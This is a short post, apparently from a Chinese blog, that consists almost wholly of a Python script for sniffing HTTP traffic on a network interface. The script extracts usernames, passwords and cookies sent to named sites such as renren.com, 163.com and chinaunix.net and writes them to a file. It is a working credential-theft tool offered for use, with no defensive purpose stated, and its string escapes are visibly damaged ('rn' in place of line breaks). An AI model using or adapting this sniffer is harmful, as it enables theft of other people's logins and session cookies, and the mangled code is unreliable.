用来捕获web密码的python脚本

# -*- coding: utf8 -*-
#!/usr/bin/env python

import pcap
import dpkt

dev='eth0'
filter='tcp dst port 80'

pc=pcap.pcap(dev) #注，参数可为网卡名，如eth0
pc.setfilter(filter)    #设置监听过滤器

hostlist=['xiaonei.com', 'renren.com', '163.com', '126.com', 'cublog.cn', 'chinaunix.net']
file=open('passwd.txt','w')

for ptime,pdata in pc:    #ptime为收到时间，pdata为收到数据
    ether=dpkt.ethernet.Ethernet(pdata)
    ip=ether.data

    tcp=ip.data
    content_len=len(tcp)-8

    host=''
    username=''
    password=''
    cookie=''
    geturl=''
    posturl=''
    username_pattern=''
    password_pattern=''

    #Only Process POST Packet
#    if tcp.data.find('POST')==-1 or tcp.data.find('GET')==-1:
#        continue

    #Get Host
    host_start=tcp.data.find('Host: ')
    if host_start != -1:
        host_end=tcp.data.find('rn', host_start)
        if host_end != -1:
            host=tcp.data[host_start:host_end]
            #print host
        else:
            continue
    else:
        continue

    #Check host in hostlist
    for _host in hostlist:
        if host.find(_host)==-1:
            continue
        else:
            print _host

    #Get GET URL
    geturl_start=tcp.data.find('GET ')
    if geturl_start!=-1:
        geturl_end=tcp.data.find('rn', geturl_start)
        if geturl_end!=-1:
            geturl=tcp.data[geturl_start:geturl_end]
            #print geturl

    #Pass picture
    if geturl.find('gif')!=-1 or geturl.find('png')!=-1 or geturl.find('jpg')!=-1:
        continue;

    #Get POST URL
    posturl_start=tcp.data.find('POST ')
    if posturl_start!=-1:
        posturl_end=tcp.data.find('rn', posturl_start)
        if posturl_end!=-1:
            posturl=tcp.data[posturl_start:posturl_end]
            #print posturl

    #Get Cookie
    cookie_start=tcp.data.find('Cookie: ')
    if cookie_start!=-1:
        cookie_end=tcp.data.find('rn', cookie_start)
        if cookie_end != -1:
            cookie=tcp.data[cookie_start:cookie_end]
            #print cookie

    #Compute username_pattern
    if host.find('xiaonei.com')!=-1 or host.find('renren.com')!=-1:
        username_pattern='email='
    elif host.find('lilacbbs.com')!=-1:
        username_pattern='userid='
    elif host.find('sso.chinaunix.net')!=-1:
        username_pattern='login_name='
    else:
        username_pattern='username='

    #Find UserName
    username_start=tcp.data.find(username_pattern)
    if username_start!=-1:
        username_end=tcp.data.find('&', username_start)
        if username_end!=-1:
            username=tcp.data[username_start:username_end]
            #print username
        else:
            continue

        #Find Password
        password_start=tcp.data.find('password=')
        if password_start!=-1:
            password_end=tcp.data.find('&', password_start)
            if password_end!=-1:
                password=tcp.data[password_start:password_end]
                #print password
        else:
            continue

    #Log to file
    if host and posturl and username and password:
        file.write('-----------------------n')
        file.write(host+'n')
        file.write(posturl+'n')
        file.write(username+'n')
        file.write(password+'n')
        file.flush()
    elif host and geturl and cookie:
        file.write('-----------------------n')
        file.write(host+'n')
        file.write(geturl+'n')
        file.write(cookie+'n')
        file.flush()